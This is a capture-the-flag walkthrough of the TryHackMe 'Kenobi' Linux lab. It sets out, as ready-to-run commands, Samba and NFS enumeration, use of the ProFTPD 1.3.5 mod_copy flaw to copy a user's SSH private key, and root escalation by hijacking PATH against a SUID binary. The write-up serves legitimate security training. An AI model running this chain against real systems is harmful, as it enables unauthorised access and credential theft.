Difficulty level: Easy
Info: Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.

Link: https://www.tryhackme.com/room/kenobi

Information Gathering

The target IP address is provided when the machine is deployed.

Target: 10.10.245.98

Scanning

First, let's scan the machine with nmap to determine open ports and services.

nmap -sC -sV -vv 10.10.245.98

From this we can see the following ports and services:

• port 21/tcp - FTP - (ProFTPD 1.3.5)
• port 22/tcp - SSH - (OpenSSH 7.2.p2)
• port 80/tcp - HTTP - (Apache httpd 2.4.18)
• port 111/tcp - RPC - (rpcbind, NFS access)
• port 139/tcp - Samba
• port 445/tcp - Samba
• port 2049/tcp - nfs_acl

Enumeration

Let's take a look at those SMB shares by running nmap smb enumeration scripts:

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.245.98

OK, a few shares found, let's investigate the anonymous share:

smbclient //10.10.245.98/anonymous

The anonymous share can also be recursively downloaded with the command:

smbget -R smb://10.10.245.98/anonymous

Inspecting the log.txt file reveals information for Kenobi when generating an SSH key for the user and information about the ProFTPD server.

Port 111 is running the rpcbind service. This is a server that converts the remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number it is prepared to serve.

Here, port 111 is access to a network file system, which can be enumerated with nmap to show the mounted volumes:

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.245.98

Gaining Access

In our initial nmap scan we found ProFTPD 1.3.5 running on port 21. This can also be determined by connecting to the target machine on the FTP port using netcat:

nc 10.10.245.98 21

Searchsploit is a command-line tool for exploit-db.com, which we can use to find exploits for a particular software version:

searchsploit proftpd 1.3.5

The output shows an exploit for ProFTPD's mod_copy module. This module will allow us to use it's SITE CPFR and SITE CPTO commands to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.

We know from the log.txt file that the FTP service is running as the Kenobi user and an SSH key is generated for that user. We also know that we have access to the /var directory, which we can mount on our system.

Kenobi's private key can be copied to the /var/tmp directory by running:

nc 10.10.245.98 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

The /var directory can then be mounted to our machine:

mkdir /mnt/kenobiNFS
mount 10.10.245.98:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS

Now that we have a network mount on our machine we can obtain the private key which can be used to login to Kenobi's account:

cp /mnt/kenobiNFS/tmp/id_rsa .
sudo chmod 600 id_rsa

ssh -i id_rsa kenobi@10.10.245.98

Once logged in as Kenobi, the user flag can be obtained from the /home/kenobi/user.txt file (flag not shown so you can grab this yourself).

Privilege Escalation

All that remains is to escalate our privileges and become the root user!

SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. SUID bits can be extremely dangerous. Some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system). However, other custom files that have the SUID bit can lead to all sorts of issues.

We can search the system to look for files with a misconfigured SUID bit in order to elevate our privileges:

find / -perm -u=s -type f 2>/dev/null

The /usr/bin/menu file looks out of the ordinary here. Let's run this:

/usr/bin/menu

Strings is a command on Linux that finds and prints text strings embedded in binary files.

Running the strings command on the /usr/bin/menu binary we can see that this is running without a full path (i.e. not using /usr/bin/curl or /usr/bin/uname):

As this file runs with the root users privileges the path can be manipulated to gain a root shell.

We can copy the /bin/sh shell into a file named curl, then change the permissions of the file to be readable, writeable and executable for all users. Finally, we can add the location of our curl file containing the shell to the system path.

cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH

This means that when the /usr/bin/menu binary is run, it will be using our path variable to find the curl binary we have created (which is actually a version of the /usr/sh shell) and run this as root...

/usr/bin/menu

..and we now have root access!

All that's left is to grab the root flag from /root/root.txt, which I will leave for you to do :)

Please feel free to contact me via Twitter and thanks for reading.